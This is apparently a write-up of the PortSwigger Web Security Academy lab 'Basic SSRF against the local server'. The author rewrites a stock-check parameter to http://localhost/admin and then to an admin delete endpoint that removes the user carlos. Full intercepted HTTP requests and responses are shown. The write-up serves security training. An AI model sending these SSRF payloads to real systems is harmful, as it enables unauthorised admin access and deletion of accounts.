

Basic SSRF against the local server

1. This lab has a stock check feature which fetches data from an internal system.
2. First, I try to access /admin page, but I don't have access. The access is allowed only if I logged in as administrator or requested it from loopback.
3. While browsing the application, I found function checking the stock. I checked the stock and intercepted the request, and I found an URL sent in the request.

```
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
```

4. I tried to modify it to <http://localhost/admin> to access the admin panel from loopback and it already accessed.

Request					Response				
Pretty	Raw	Hex	Hackvortor		Pretty	Raw	Hex	Render	Hackvortor
<pre>1 POST /product/stock HTTP/2 2 Host: 0af700b70477304282620b6d00f90098.web-security-academy.net 3 Cookie: session=7HW9PnMqaAvTKAbVwCossH6lecZbNvh 4 Content-Length: 41 5 Sec-Ch-Ua-Platform: "Windows" 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 7 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141" 8 Content-Type: application/x-www-form-urlencoded 9 Sec-Ch-Ua-Mobile: ?0 10 Accept: */* 11 Origin: https://0af700b70477304282620b6d00f90098.web-security-academy.net 12 Sec-Fetch-Site: same-origin 13 Sec-Fetch-Mode: cors 14 Sec-Fetch-Dest: empty 15 Referer: https://0af700b70477304282620b6d00f90098.web-security-academy.net/pro duct?productId=1 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=1, i 19 20 stockApi=http://localhost/admin&storeId=1</pre>					<pre>1 HTTP/2 200 OK 2 Content-Type: text/html; charset=utf-8 3 Cache-Control: no-cache 4 Set-Cookie: session=TiNqQXL4Q0w6M3G6YeiVZEV9BuOWMd33; Se 5 X-Frame-Options: SAMEORIGIN 6 Content-Length: 3070 7 8 <!DOCTYPE html> 9 <html> 10 <head> 11 <link href=/resources/labheader/css/academyLab 12 <link href=/resources/css/labs.css rel=stylesh 13 <title> 14 Basic SSRF against the local server 15 </title> 16 </head> 17 <body> 18 <script src=/resources/labheader/js/labHeader 19 </script> 20 <div id="academyLabHeader"> 21 <section class="academyLabBanner"> 22 <div class="container"> 23 <div class="logo"> 24 </div> 25 <div class="title-container"> 26 <h2></pre>				

5. Then, I completed the URL to delete carlos user and the user deleted successfully.

Request					Response				
Pretty	Raw	Hex	Hackvortor		Pretty	Raw	Hex	Render	
1	POST	/product/stock	HTTP/2		1	HTTP/2	302	Found	
2	Host:	0af700b70477304282620b6d00f90098.web-security-academy.net			2	Location:	/admin		
3	Cookie:	session=27HW9PnMqaAvYKAbVwCossh6iecZbNwh			3	Set-Cookie:	session=p2LdQxAmMHDyg		
4	Content-Length:	64			4	X-Frame-Options:	SAMEORIGIN		
5	Sec-Ch-Ua-Platform:	"Windows"			5	Content-Length:	0		
6	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64)			6				
7	AppleWebKit/537.36	(KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36			7				
8	Sec-Ch-Ua:	"Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"							
9	Content-Type:	application/x-www-form-urlencoded							
10	Sec-Ch-Ua-Mobile:	?0							
11	Accept:	/*/*							
12	Origin:	https://0af700b70477304282620b6d00f90098.web-security-academy.net							
13	Sec-Fetch-Site:	same-origin							
14	Sec-Fetch-Mode:	cors							
15	Sec-Fetch-Dest:	empty							
16	Referer:	https://0af700b70477304282620b6d00f90098.web-security-academy.net/product?productId=1							
17	Accept-Encoding:	gzip, deflate, br							
18	Accept-Language:	en-US,en;q=0.9,ar;q=0.8,fr;q=0.7							
19	Priority:	u=1, i							
20	stockApi=	http://localhost/admin/delete?username=carlos&storeId=1							



Basic SSRF against the local server

[Back to lab description >>](#)

LAB Solved



Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [My account](#)